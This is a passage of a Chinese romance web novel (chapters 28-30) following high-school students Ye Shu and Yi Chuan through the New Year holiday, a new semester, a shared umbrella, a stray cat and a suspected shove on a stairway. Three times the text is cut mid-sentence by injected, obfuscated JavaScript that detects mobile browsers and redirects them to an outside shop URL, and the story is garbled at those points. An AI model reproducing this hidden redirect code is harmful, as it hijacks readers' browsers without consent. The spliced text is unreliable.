易川听到她说话，这才收回视线，垂下眼睑看了她一眼。 他故作恍然，思索了一番，漫不经心回答：“我弟发烧，我爸妈带他去医院了。” 听到这话，一向能言善道的叶舒也不知如何回应了。 大过年的，亲人生病，父母不在，众人皆团圆美满的情况下，再怎么不在乎的人心里也总有些落差。 更何况，叶舒通过回忆碎片了解了易川的过去，现下不由得有些同情他。 叶舒：“那你弟弟，现在怎么样了？” “打完针后好多了。”易川打开杯盖，喝了一口奶茶。 袖口里的手表露了出来，易川看了看时间——九点出头。 “有点晚了，你要不要回去？” 叶舒没想到易川会突然这么说，不禁问：“你要去买东西了？” “我买——”易川说到一半忽然不说了，改口说，“我买完了。” 叶舒：“买什么了？” “怎么，你不想回去啊？”易川没回答叶舒的话，反问她。 “……”见他神情轻佻，叶舒索性顺着他话说，“是啊。” 八成是想不通叶舒留在这的理由，易川问：“你家没人吗？” “有人。” “那你怎么不回去？” 这个点父亲大概就会回家了，想到这，叶舒便不想回去面对家里那窒息的氛围。 倒不如就在这和易川看着万家灯火、其乐融融的景象。 虽然这景象不属于自己，但总比自己家有年味，看久了也有些暖人。 叶舒不由得觉得自己同情易川的模样有些可笑，毕竟自己现在的处境更算不得好。 她垂下眼睑，沉默了半晌才回答他：“有些事情，不问到底或许会更好。” 易川第一次见叶舒这副模样。 躲闪的，伤感的。 他回想起某节心理健康课上叶舒回答老师的那句别有深意的话语。 易川猜到了什么，识趣地没再多问。 耳边只剩下烟花绽放和人群喧闹的声音。 两人在公园又呆了半个小时，相继无言，只是望着烟花。 站累了，两人便坐在公园的长椅上，说了几句有的没的后便又沉默了。 倒也不尴尬。 之后，两人便互相道别，分道扬镳。 临别之际，叶舒对易川又道了句：“新年快乐。” 这次，易川终于舍得说了句谢谢。 “回去吧。”他说，“新年快乐。” 28. 两人间的秘密 大年初二。 叶舒坐在书桌前看着手机里易川和自己聊天记录发呆。 她与易川之间的关系倒没有因为除夕那晚更近一步，但也没有变得更尴尬。 像是没变化，却又总觉得哪里有些不同了。 这段时间家中事情太多，父母间时不时的争吵让叶舒一时将攻略易川的事搁置了脑后。 假期刚开始时，叶舒想过约易川出门，拉近两人之间的关系，却无奈一直找不到理由，开不了口。 上次她借口祝贺期末成绩与易川聊天，最后也在他难以捉摸的态度下不了了之。 经过昨晚的事，叶舒这才重新思考起攻略的事。 踌躇间，叶舒在消息框里打下：【明天有空吗？】 下午，叶舒才收到易川的回复。 【怎么？】 叶舒犹豫良久，还是发下那句：【要不要一起去图书馆？】 本以为以易川的性格大概率会被他拒绝，甚至狠狠嘲讽几句，亦或是骂她神经病。 叮。 叶舒低头，瞟了一眼手机屏幕。 【？】 那头弹出了一个问号。 意料之中。 几秒后，手机又响了，易川又发了个符号——OK的表情符号。 …… 次日，两人见面后，皆默契地没有再提除夕那晚的事。 只是...... 叶舒看着拿了本《明朝那些事儿》认真看的易川咂舌。 他戴着那副银框眼镜，翘着二郎腿，坐姿闲散但表情却有种违和的认真，莫名有些矜贵。 叶舒合理怀疑，易川答应她是因为在家呆着无聊，所以才愿意“屈尊”和她来图书馆。 不过叶舒也挺想出门的。 好友基本都还没从老家回来。 于公，叶舒希望易川答应，可以达到她攻略的目的；于私，叶舒也希望他答应，可以令她短暂地摆脱家里那令人喘不上气的氛围。 只是这天，叶舒手上的伤痕又被易川发现了。 那是父母吵架时，叶舒去拉架被一把推倒在地后，手背摔到瓷砖的印记。 除夕那晚她衣服宽大，夜间黑暗，易川没有发现。 叶舒不禁有些无奈，为何每次有伤之时都能被易川注意到。 比起慌乱，叶舒更多的是难堪，她一点也不想解释这些外伤的由来。 易川这次也没有多问，只是叶舒余光注意到了，他的眼神明显和头两次不一样。 镜片后的目光幽深晦涩。 易川不是傻子，大概是昨晚她的话让他察觉到了什么。 叶舒没说话，不多解释，默默将一道重点划好交给他。 叶舒与易川就这么连着一起去了图书馆一周，直至开学。 …… “不过，叶舒你在这个班我真没想到。林康都在隔壁重点班10班了，期末你不是考得比他还好吗？” 王朗的问话令叶舒回过神。 叶舒无所谓地噢了一声：“他几班关我什么事，分到哪班就是哪班。” “是不是学校系统弄错了啊，你这得和老师反映一下，万一搞错了岂不是很可惜？这可是大乌龙啊！”王朗追着叶舒说。 晚修的上课铃声打断了王朗的追问。 叶舒这才得以逃脱。 - 次日，课间。 办公室的窗户采光明亮，窗外有一颗常青的榕树，风起零星落叶飘进办公室的桌上，叶舒渐渐望得一时晃了神，直至班主任坐在她面前说话，她才回神。 “叶舒，你这成绩——”班主任陶珠有些头疼地看着班级成绩表，斟酌片刻后开口，“应该是系统搞错了，你应该是重点班的，我跟级长提过你的这个事了，你可以转去隔壁重点班。” 叶舒故作思索了一阵：“老师，可以自己选择吗？我可以选择保持现状吗？” 老师愣了一瞬，随后苦口婆心劝道：“重点班的氛围和普通班的氛围是不一样的。从前也很多同学害怕进到重点班影响心态打乱自己节奏，认为即使在普通班也一样，但是绝大部分慢慢与重点班的孩子渐行渐远。我还是希望你能考虑一下——” “报告。” 一道男声忽然在身后响起。 叶舒回头。 不知何时，易川站在了她的身后。 易川扫了一眼叶舒，随即递给班主任一张纸，说：“老师，我的学费表还没交。” 陶珠接过他的表，粗略检查了一遍，“易川是吧——好，你放这吧，可以了。” 陶珠转头继续问叶舒：“所以叶舒你是怎么想的？你可以回去好好考虑一下，暂且不急。” “我......”叶舒微微仰头，陷入思考。 身后传来熟悉的声音，王朗的：“易川你在这啊，班长找你要学费表呢。” “交给老师了。” 易川不咸不淡的声音落入叶舒耳朵里。 一阵动静之后，办公室又陷入安静。大概是离开了。 - 晚修课前。 班主任陶珠组织大家换座位，叶舒和易川再一次成了同桌。 这一“巧合”再一次成为了王朗调侃两人的谈资。 只是易川和叶舒皆不在意，没有任何表现和反应，让王朗一时无趣。 叶舒和易川整理完物品后相继入座。 晚修还未开始，教室里难免嘈杂。 叶舒在笔记本下记下这学期的课表，余光注意到身边的易川随意地翻过一本本新书。 他坐姿散漫，叶舒写字的手肘碰到他的胳膊，他轻微啧了一声。 ——明明是他的身子占了大半块区域，他还先嫌弃起来了。 叶舒虽不快，但一时也懒得与他计较这种鸡毛蒜皮的小事，继续抄着自己的课表。 “大学霸。” 易川突然这么叫了叶舒一声。 叶舒抬眼，有些莫名其妙地看向他。 易川歪着头，快速地翻过手里的生物书：“没想到又和你同桌啊，真巧。” 他的语气微微有些不屑的意味。 叶舒有些不安，怕易川察觉出什么，抑或是厌烦这一次次的巧合。 “是有点巧。” 叶舒语气平静。 “可惜应该坐不了多久了。”易川啪的一声关上了书，偏头瞥了她一眼。 叶舒心跳空了一拍，面上依旧毫无波澜。 她抬头盯着他，好奇道：“为什么？” 易川没回应她，拿起一旁的笔，在新书上签下自己飘逸潦草的名字。 他面无表情地一本本的签着。 叶舒歪头凑近他，直勾勾地盯着他眼睛问道：“问你呢，为什么？” 似是没想到叶舒突然的举动，易川毫无防备，签字的笔在本子上划过一道，笔也就此摔落在地。 “不好意思。” 叶舒忙道，俯身准备帮他捡起笔。 易川拦住她的动作，自己俯下身将笔捡了起来，随后还慢条斯理地吹了吹笔外的灰尘。 看着易川这副故作冷淡的模样，叶舒就来气，她不愿再与他拉扯：“怎么？你嫌弃我了，和班主任说要换新同桌？” 易川：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701389|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一个人坐。” 叶舒微怔，没想到他宁可一个人坐也不愿与她同桌。 就好像当初，易川选择了一个鱼死网破的方式，将两人的关系变成一发不可收拾的局面。 室外天色逐渐暗淡，今夜无星，不知是谁将窗户大敞，夜间的风吹入教室，无端将原本算温暖的室内添了一丝寒凉的气息。 叶舒心头爬过一阵慌乱，手不禁颤了颤。 没想到才刚开学，她便要面临被易川狠狠推远的时刻吗？ 她努力了这么久的事情难道就要就此终结了吗？ 叶舒心头一阵堵塞，也不知自己应说什么，只能由着自己的身体控制语言系统，声线颤抖着说：“什么？” 易川转着笔的手顿了顿，眼睛望着刚刚签坏的封面，说：“您要是走了，我可不得一个人坐吗？” “......？” 叶舒心跳顿了一拍，随后又恢复正常。 易川侧过头，狭长的丹凤眼直直地对上她的眼神，大概是刚刚的话语太沉重，他嘴角挂了个轻佻的笑容：“你说是吧。” 原来是虚惊一场。 叶舒松了口气，反应过来后还是忍不住骂了一句：“有病。” 易川：“？” 不等易川回应，叶舒直接问：“走什么？” 易川：“你该去重点班了。” “我去不去不用你说。”叶舒重新拿起笔抄课表，不以为意道，“我想去就去，不想去就不去。” 易川听出了她的话外之音，扬眉问：“你不去重点班？” “不去。” 易川笑了声：“大家挤破头都想进去，你干嘛不去？” 叶舒没有正面回答他的问题，而是反问他：“你想去？” “我？”易川被她带偏了，嘁了一声，“我不可能进，你少用我扯开话题。” 见他逼问得紧，叶舒胡乱找了个理由：“不想和林康一个班。” “就这？”易川抱臂，颇有些可惜地说，“为了他放弃去重点班，你不至于拎不清吧？” 叶舒：“……” 也不知易川今天是不是吃错药了，以往他并不喜欢打破沙锅问到底的，今日却好像硬要从叶舒嘴里撬出个答案。 叶舒别过脸，回避他的眼神。 “不想回答？”易川问她。 叶舒手抵在下巴，脸边的碎发遮掩住她的神情，易川看不清，不由得靠近了她些许。 见叶舒沉默不语，易川再问了她一次：“怎么了？” 叶舒微微偏过脸，面露伤感。 这是易川第一次见叶舒脸上出现这种忧郁的神色，不禁微愣。 似乎又不是第一次。 除夕那晚，这样的神色也曾短暂出现过在她脸上。 叶舒目光空洞虚焦，有些魂不守舍道：“其实——” “我不想去。” 叶舒语气平淡又有些喑哑：“我爸妈会一直盯着我的。” 她这句话没头没尾，但易川听懂了，他下意识地张了张口，却找不到话说，默默抿了抿唇。 叶舒转头看向易川，露出淡然的笑容：“你能理解我吧？” 一向带着攻击性的眼眸如今透露出浅浅的无奈。 易川眼睑微动。 大概是从未见过叶舒吐露真心，又或是理解同情叶舒，易川点了点头，相信了她说的话。 叶舒看着易川变得有些忧郁的脸，大概是她的遭遇让他联想起了自己的境遇。 叶舒一时在想自己是不是有些演过头了。 不过，没想到这方式对易川还挺管用。 29. 共撑一把伞 早晨，课间。 叶舒趴在走廊栏杆处，等着去上厕所的新舍友凌熙。 寒潮走了，微凉的风吹过，却不让人觉得寒冷，原本稀疏的树枝开始抽出嫩芽，不时有叽喳叫的鸟儿穿过树枝，落在高处的天台边。 闲得无事，叶舒仰头盯着那两只鸟看，随后感觉身侧有道目光，叶舒侧头，看见一张熟悉的面孔。 林康。 林康朝叶舒微微一笑，以示问好。 两人的关系应是尴尬的，但叶舒没想到他竟还愿意做这种面子功夫。 叶舒轻瞥一眼，然后收回目光，装作没看到他，没有回应他的问好。 身侧那道人影没离开。 林康与她说起话：“叶舒，没想到你竟然没进重点班。” 这话听着像是在可惜，然而那隐隐炫耀的语气掩也掩不住。 叶舒没看着他，“是啊，我也在想怎么回事呢。毕竟我上学期期末考得还不错——对了，林康你排名第几啊，你成绩那么好，应该也很高吧？” 听见她这话，林康的脸色顿时变得很难看。 林康的排名就在叶舒之下，她看成绩时必定能看到他的名字，只可惜叶舒压根没把他当回事，没关注林康的排名。 林康僵硬地扯着嘴角笑了笑，故作安慰道：“那确实有些可惜，大概是学校系统出错了。” “是啊，我找老师说了这事，老师说我可以转去你的班。”叶舒注意到身侧的林康身形微顿，她不由得微微一笑。 叶舒侧头，看着林康，表情故作深思熟虑道：“不过，我后来和老师说算了。我相信一切就是最好的安排。而且，成绩好坏也不是是否重点班能决定的，要是作为普通班的人考过了重点班的人，是不是会更有成就感？” 若是她身在普通班还考过林康，以林康那阴暗的性格，大概会更气愤。 林康表情一滞，随后弯了弯唇角，说：“那，祝你好运。” 看他这不怀好意的笑容，大概对叶舒是不屑的。 那就走着看吧。 叶舒也勾了勾唇。 “叶舒。”凌熙的声音在叶舒身后响起。 凌熙走到叶舒身边，上下打量了眼林康。 见状，叶舒向林康微微颔首，回了教室。 …… “那人谁啊？”凌熙问叶舒。 叶舒回她，语气平静道：“一个，我不太喜欢的人。” 凌熙皱着眉点了点头：“我说呢，看着就不安好心。” - 午后放学。 初春，树木虽然逐渐回春染绿，但天气还是忽冷忽热的。刚下了场春雨，把地面打湿，空气中弥漫着淡淡的草植味。 放学铃响后，学生们成群结队地朝着食堂走去。 叶舒不想吃饭，便没有与人同行，独自拿着阳伞随着人流出了教室。 虽是初春，室外阳光已浓郁热烈的，叶舒撑起了伞遮阳。 路面上，不少枯黄的落叶被雨水打落在地，叶舒躲着积水前进。 行进间，头上的太阳伞似乎碰到人了，叶舒下意识地将伞面抬高，眼前出现了易川那张俊朗的脸。 他两指弯曲，叶舒这才后知后觉，她不是撞到人了，而是易川在碰自己的伞面。 他身边还站着王朗。 王朗惊讶道：“叶舒，真是你啊。我和易川还在打赌这人是不是你呢。” 说着，他给易川伸了给大拇指：“你牛，她遮那么严实，你都能看出来。” “......无聊。”叶舒懒得理他们，转身径直离开。 两人跟在她身侧，不远不近地跟着。 王朗问叶舒：“你怎么一个人走，没人陪你吃饭？你舍友凌熙呢？陆雯江菱呢？” 他疑惑的问题一股脑往外蹦。 叶舒继续朝前走，没转头看他，解释道：“不饿，不吃饭。” “不吃饭？你减肥啊？”王朗不赞同道。 “没有。” “你这么瘦了，减什么肥，没必要哈。” 叶舒还想解释什么，易川忽然说话了，沉稳的声线打断她的话头。 “不吃饭，你修仙？” 恰好到宿舍和食堂的分岔口，易川手指勾了勾伞骨，叶舒不得不朝他方向倾去。 “你干什么？”叶舒没好气地说。 “去食堂。” 易川神色淡淡，但又带着不容置喙的语气。 见他这副理所当然的态度，叶舒觉得莫名其妙，不解地问：“和你们两个男生吃？” 这要是遇上多心之人，指不定会被误会。 大概是听出了叶舒的话外音，易川轻掀眼皮，漆黑的眸子瞥了眼叶舒。 虽说他表情没什么情绪，但叶舒莫名在他眼神中瞧出一丝调笑，像在取笑叶舒的“多心”。 而王朗则是直言不讳道：“和两个男生怎么了，又不是只有一个男生。” “......” 叶舒看着理直气壮的两人嘴角抽搐了一下，转头就要离开。 结果被王朗推着向食堂前进，“走了走了，看你都瘦脱相了，还怎么学习？你要不学习，可没人给我作业看了！” …… 盛情难却，叶舒还是跟着他们去食堂吃了饭。 所幸一路上都没有遇见熟人。 饭桌上，易川一直没说话，王朗倒是像个开了机的留声机，叽叽喳喳没停，拉着叶舒和易川聊天。 一顿饭吃下来，倒还没有叶舒预想的那般尴尬。 这顿奇怪的午饭终于结束，三人放完饭盘，站在食堂门口。 春日的天气总是捉摸不透，不知何时又下起了雨，这雨比早上的大，还带着微寒的风，些许雨滴落在人脸庞，让人感到一阵微微的凉意。 叶舒抬头，发现王朗正看着叶舒手中的伞，易川也微微偏头看着她。 “......” 叶舒看着自己手中的伞，有些手足无措。 这伞是她特意买的轻便款，为两人遮蔽都有些艰难，更别说在场有三人。 他俩能自行解决吗。 正当她思考怎么把两人打发时，柯怿忽然出现，冲三人打了声招呼，手中还提着一把黑伞。 易川移了脚步，向柯怿靠近，估计是要想同他一起离开。 结果，王朗先一步揽上柯怿，激动地说：“遇见你正好哇！我没带伞，你带我走吧！” 还未等柯怿反应过来，王朗边转头对叶舒和易川说：“两两结伴，我和柯怿走。叶舒，易川交给你了啊。” 话音未落，他便和柯怿开了伞，跑进了雨中。 叶舒&易川：“......” 雨幕之中，叶舒清晰看见了，王朗离别之际对她不怀好意地眨了眨眼。 一时之间，真不知是骂王朗，还是庆贺王朗的行为为她与易川提供了独处时间。 这种情况，系统应该比较高兴。 易川背对着叶舒，没有动作。 “那个，”叶舒朝着他背影说，“用我的伞吧。” 雨渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715257|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越大，一时半会应该停不了。 易川侧了侧身子，淡淡地回了句：“不用。” 紧接着，他便毫无措施地准备朝大雨里走去。 见状，叶舒连忙拉住他的外套衣角，“你干什么。” 易川停了脚步，皱着眉头扫了她一眼，“我自己走。” 叶舒：“这么大雨，冲回宿舍肯定会湿透的。我这有伞怎么不用？” 易川鄙夷地看了眼叶舒手里的小伞，摇头：“你这小破伞你自己都不够用。” 两人这般拉扯，惹得不少学生侧目。 叶舒及时松了手。 “小但也凑合。”叶舒撑开伞面，随后将伞举高，“走吧大少爷，还要我给你撑啊？” “不用。” “别逼我骂你，快走。”叶舒别过脸，避开过路学生们的视线。 易川看了她一眼，环视了一遍周围，终于不再和她对着干。 他伸出手，叶舒下意识缩了缩脖子。 只见他那双细长的手从她眼前接过伞柄，随即，易川靠近她，站在她身侧，肩膀就这么抵上她的肩膀。 易川：“走吧。” 细细的雨丝织成帘幕，把道路旁的树木笼罩得模糊起来。 不大的伞下，叶舒与易川身躯靠着，稍显拥挤。 叶舒不自在地与易川的身躯隔远，却感觉身旁的人似乎也在向自己靠近。 她退他进，两人就这么暗中较劲，几回拉扯下，两人的路线都偏离了。 易川似乎终于忍不住，出声说：“叶舒，你躲什么？我往旁边走，你走什么走，你想给雨淋是不是。” 朦胧的雨幕中，他的表情看上去有些愠怒。 叶舒避开他灼灼的视线，随后注意到易川衣服肩膀处的布料被雨打湿，留下一大片晕开的水渍。 叶舒：“不好意思……” 易川：“不想给雨淋就好好走，过来。” 叶舒稍稍抬眸，发现易川面色有些冷。 他这态度属实不算好，但叶舒自知理亏，而且也想着趁早回宿舍，早点结束这尴尬的一切，只能默默受下。 叶舒靠近易川，不再乱动。 伞面微微向叶舒方向倾斜。 两人一路上没再说话，清新淋漓的水汽和初春的凉风穿梭在两人之间。 食堂到宿舍的距离不算远，可叶舒只觉得似乎走了很久很久。 …… 抵达宿舍楼的廊下，易川将伞收起来，抖了抖水，然后把伞递给叶舒。 “谢谢。” 叶舒嘀咕了句。 “什么？” 大概是她说太小声了，易川没听清。 叶舒只好再重复了一遍：“我说，谢谢。” 易川鼻间轻哼，无语地嗤笑了一声：“你给雨淋糊涂了？要谢也是我谢谢你的伞。” “行了，谢谢你的伞。” 话音刚落，他便潇洒转身回了男生宿舍。 背影看似潇洒，右肩那块深蓝色水渍却还是显得有些狼狈。 - 男生宿舍。 易川回到宿舍，王朗坐在床上，正不怀好意地看着他。 王朗：“怎么样，我给你们安排的独处够意思吧？” “就知道你没安好心。” 易川甩了甩微微泛酸的胳膊，从衣柜里拿了一件干净的校服。 王朗：“怎么样，你俩——” 像是早知道王朗要说什么，易川脱下湿了的校服，云淡风轻地开口说：“滚。” 30. 疑云 晚修课间。 夜空黯淡，只有一抹皎月，学校教学楼内灯火通明，而教学楼外的走廊依旧昏暗。 叶舒和凌熙绕着学校道旁的绿化带散步。 两人经过转角处时，灌木丛里出现动静。 喵～ 在课间人声的喧闹中，叶舒捕捉到了一丝微弱的动物呜咽声。 叶舒拉住凌熙的手臂停下脚步：“你有没有听见一个声？” “什么声？” 一楼的灯光本就昏暗，两人又离开了教室区，完全处在黑暗中，叶舒突然这样神神秘秘，把凌熙弄得慌了起来。 凌熙：“没啊，我没听见什么声，你别吓我！” “喵～” 又一声。 这一次，叶舒清晰地听清了这声，确定是小猫的叫声。 “我真听见了，在这。”叶舒走近楼道口旁的转角处。 看着漆黑一团的灌木小径，凌熙犹豫着开口：“里面这么黑，万一有虫呢？” 叶舒思索了一会儿道：“我去看看，然后出来告诉你？” 凌熙只好作罢：“行吧，你小心点，我就站这等你。” 她话音未落，叶舒便俯身走进了草丛旁的小道。 叶舒倾身查看着两旁的灌木丛，随而又听见了几声小猫的叫声，声音越来越清晰，叶舒循着声音往前走。 这小径通往另一条道，道路一盏散发着微弱暖光的路灯，点亮着小道尽头，越深入，那暖黄色的光线便越亮，吸引着前往，即使周围黑暗，倒也不显得阴森。 昏黄的灯光打在一小块小道的砖瓦上，灯下，一只黄白相间的小猫正低头舔舐着自己的毛。 叶舒停步。 瘦小的小猫一旁蹲着一个人，那人正轻轻摸着小猫的脑袋。 小猫正低着头，一边享受一旁人的抚摸，一边自顾自地顺毛。 听见动静，小猫和那人皆抬头看向来人。 暖黄灯光的照射下，叶舒看清了蹲着抚摸小猫的人。 是个男生，路灯的光线落在他额前的头发，使他眼前有细碎的阴影，脸很小，眉清目秀的。他脸上正带着微笑，气质看起来很是儒雅。 叶舒愣怔在原地，不敢上前。 她没想到这里会有人。 没想到有人同时发现了小猫。 更没想到那人是贺琛。 ...... 高中时，叶舒便与贺琛同班。贺琛待人温和，成绩优异，很招人老师和同学们的喜爱。 高三刚开学时，贺琛突然对叶舒告白了。 “我——我觉得你很优秀，我对你挺有好感的......” “我们成绩差不多......要不要一起考一个大学？” 只是，叶舒对贺琛从未有过除同学外的别的感情，便拒绝了他。 不过，贺琛并没有因此难堪或是与叶舒疏远关系，依旧如之前一般，温柔待她，如好朋友一般。 ...... 叶舒没想到在这世界里，与贺琛会是这样遇见。 她并没有做好准备再见旧人，下意识地退了一步。 贺琛大概也没想到自己在这逗猫会遇见别人，神色有些慌乱。 只是，眼前的女生看起来像是被猫吸引而来，大概同他一样。 想到这，贺琛逐渐镇定下来。 他抬头，对上女生的视线。 女生的侧脸被光线照亮，她正怔怔地看着他，大概是路灯的光的映照，女生眼眸里泛着光，眼尾微微上挑，看起来有些勾人。 两人就这样尴尬地对视着。 叶舒自觉窘然，垂下眼睛：“不好意思，打扰了。” 她话还没说完，便急着后退往回走。 “等一下。” 贺琛叫住了她。 叶舒不由得停了脚步。 贺琛：“你不是过来看猫的吗？可以过来看。” 叶舒侧了侧身子，礼貌地回复：“不了，我就是看看，看到便要回去了。” “这猫平时也没人发现，我也最近发现的，要是多一个发现它也挺好的。” 男生清润的声线自背后传来。 叶舒脚步一滞，犹豫了一番还是转身看向那只小猫。 贺琛从口袋里掏出了一支火腿肠，拆开包装后把火腿肠掰了点放猫的脚旁。 叶舒心下一动，站在原地盯着一人一猫。 大概是怕叶舒尴尬，贺琛抬眼看着她邀请道：“你要过来摸摸吗？” 不等叶舒回复，晚修的上课铃声便响起了。 叶舒摆手拒绝，并退了步子离开：“谢谢，我先走了。” 她头也不回，逃离得飞快。她的声音越来越远，回音逐渐消散在夜间幽静的小径中。 贺琛对着她的背影喊道：“同学，你几班的啊？” 女生的身影早已消失在黑暗尽头，仓皇离开的模样似是很怕他。 他兀自不解，以为是自己的哪句话吓到了人家。 贺琛顺了顺小猫背上的毛，起身离开。 他快步追过去，追到教学楼，走廊四下都是奔走回班的学生，而刚刚那个身影早已不见。 适才昏暗灯光下，他只看清了女生的大致模样，但突然对视的那一眼，他心跳莫名漏了一拍。 另一边。 凌熙被叶舒拽着上楼回教室，边走边问道：“看见猫没？啥样的？” “黄白相间的，瘦瘦小小的。” 叶舒回应着她，上楼的步伐却快，心里在想着贺琛的事。 阴差阳错下，她还是和贺琛还是有一缘。 这与叶舒原先的记忆不符，不知之后两人是否还会相识。 若再一次相识，与原走向一致，那是否表示，她和易川这学期的这一劫也会再现呢？ - 次日。 午饭后，小卖部。 凌熙在冰柜拿了一瓶饮料后起身，肩膀处便被人点了点，她回头看，眼前便出现贺琛笑得正温和的面孔。 “嗨，是你啊。”凌熙向他问好。 她与贺琛曾是同班同学，还曾为同桌，关系较为亲近。 恰巧这时，叶舒走到凌熙身边，便注意到了一旁的贺琛。 叶舒表情僵了一瞬，随后立即恢复自然，默默安静地站在一旁等凌熙与贺琛寒暄完。 贺琛微微一笑，随后侧头瞟了一眼凌熙身旁的女生。 看清女生面孔后，他眉头轻皱，总觉得熟悉。 他的视线太过直接，叶舒侧目瞧了他一眼，两人不经意间对上视线，叶舒视线便立即换了方向。 视线交汇仅一瞬，但贺琛几乎可以确定，叶舒就是昨晚的女孩。 他下意识想开口询问，一时半会儿又斟酌不出合适的语句。 凌熙挽上叶舒的手臂，对贺琛挥手告别：“先走了，拜拜。” 说着，两人便出了小卖部的门，消失在贺琛的视野里。 - 沿海城市的春日寒潮总是反复，直至四月，天气才真正算完全暖和起来，围墙旁的三角梅也逐渐萌芽，崭露头角。 体育馆内，清亮的嗓音从音响里悠悠传出。 “尊敬的各位老师、亲爱的各位同学，大家好，我是来自高一（9）班的叶舒。很荣幸今天能站在这里演讲，我演讲的题目是......” 前段时日，期中考落下帷幕。叶舒作为这次考试的第一名，被选中在这次集体大会上进行演讲和经验分享。 待叶舒在台上从容演讲完后，台上掌声响起，叶舒向台下鞠了一躬便转身要下台阶离开。 迎面撞上了上来的男生，叶舒抬眼——是贺琛。 他手上拿着演讲稿，大概是下一位演讲的学生。 叶舒侧身给他避让，没曾想，却见贺琛对她微微点头，脸上还带着和善的笑意。 像是在和她问好。 叶舒有些茫然，但还是下意识地颔首，回应了他的问好。 接着，她便下了台阶回到座位。 ...... 半个小时后。 校长的讲话结束宣告着这场总结大会终止。 各班级学生们齐齐起身，根据距离远近，整齐划一地朝出口走去。 叶舒和凌熙并肩走着，到楼梯口时队伍行进速度放缓。 从台阶上往下俯瞰，长长的蓝白校服相间的队伍蔓延至整个长阶，有些壮观。 “妈耶，真挤。”凌熙感叹着，拉着叶舒跟着人流缓缓踏下梯坎。 今日清晨落了毛毛细雨，梯坎有些湿滑。 叶舒轻蹙着眉，小心翼翼地跟着前方的人，垂眸看着台阶，思绪却晃了神。 这次期中排名，较上次期末考，易川又进步了，从原先的吊车尾变成倒数第十二。 快要离开倒数行列了。 她的攻略很有效。 只是，下一学期，以叶舒的成绩肯定会进重点班了。 届时，也不知道易川还能不能保持这样的势头。 ...... 人群拥挤，不知何时，凌熙松了挽着叶舒的手。 叶舒怕和凌熙走散，下意识想回头提醒凌熙小心。 “凌......！” 一股力量抵在身后，叶舒脚下一空，随后只见眼前一阵晃动，天旋地转间，她失了重心往前扑去。 在叶舒倒地的瞬间，幸得被前头的同学扶住，才得以不狼狈摔倒。 “叶舒——！” 凌熙着急忙慌上前，声音被吓到颤抖，身上也冒了几分冷汗：“你没事吧！！吓死我了！” 叶舒大口喘气，雨后清凉的空气窜进她鼻腔，后背起了一阵寒意。 “没事。”叶舒由同学搀扶起身，慌乱的心才逐渐踏实，惊魂未定地回答同学们关心的问询。 “劫后余生”之感让叶舒还有些心有余悸，她深呼吸几个来回才平缓了些心跳。 “谢谢你。”叶舒对扶住她的女同学感谢道。 随后，她抬眼，扫视了周围的人一圈。 她们的动静不小，周围的学生们现下也在看着她们。踩踏事件每年层出不穷，少年们脸上的表情不是惊讶，就是关切之意。 叶舒目光顿住。 人群中还有个熟悉的人脸——林康。 不同于正常同学的神态，他看着叶舒的眼神，很是震惊。 后怕的震惊，还有种慌乱感。 这样的表情，叶舒从未在林康脸上看过。 难不成，是他？ 台阶湿滑，如今人又多，队伍拥挤，难免会出现无意识推搡的时候，叶舒无法确定是否是因为林康。 可林康的这一表情让她实在难以不怀疑。 难道，这个世界的林康竟然这么狠了吗？ 见叶舒正盯着自己，林康立刻敛了神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“人女生如果来月经不舒服的想休息也就算了，你人高马大的，没病没伤，精神还那么好，别浪费医疗公共资源！”大概是见易川不像好学生样，医务老师出言训斥。 易川被戳破也不窘然，面色平静地点了点头，应下老师的训斥。 “老师再见。” 叶舒和凌熙见情势不对，对老师道了再见便要离开。 临走前，叶舒还扯着易川的衣角把他拉了出来，用气声道：“快走。” 离开医务室后。 凌熙偷笑，吐槽易川：“装也不装像点。” 叶舒上下打量了一番易川：“你真的头晕吗？” 易川：“要我把头拆下来给你验验？” “......”叶舒嘴角抽了抽，“不必了。” 易川转身，走到两人前头，径直上了楼梯。 叶舒腿脚不便，只能在凌熙的陪同下一步步地缓缓上楼。 “你现在感觉好点没？”凌熙看着叶舒“上了色”的脚踝问道。 “还好，大概多走几步路就好了。” 叶舒盯着脚下的阶梯，表情有些凝重。 见她这副模样，凌熙不禁开口问：“怎么了？很痛？” 叶舒摇了摇头，犹豫了片刻问她：“你刚刚在那，你有注意到我后面的人吗？” 凌熙摇头：“没注意，身后应该都是我们班的人吧，挤来挤去很多人。” 叶舒沉吟了片刻，继而说：“你还记得上次我说的那个很讨厌的家伙吗？” “记得，怎么了？” “他刚刚也在我身后，站你旁边一点。” 凌熙仰头回忆：“好像是，他们班就在我们隔壁，队伍离我们近——” 说着，凌熙这才恍然：“你是说是他推的你？！” 叶舒垂眸，摇头道：“不是。只是我自己怀疑而已，我也不知道。因为他看见我摔倒的表情很奇怪。” “怎么奇怪？” 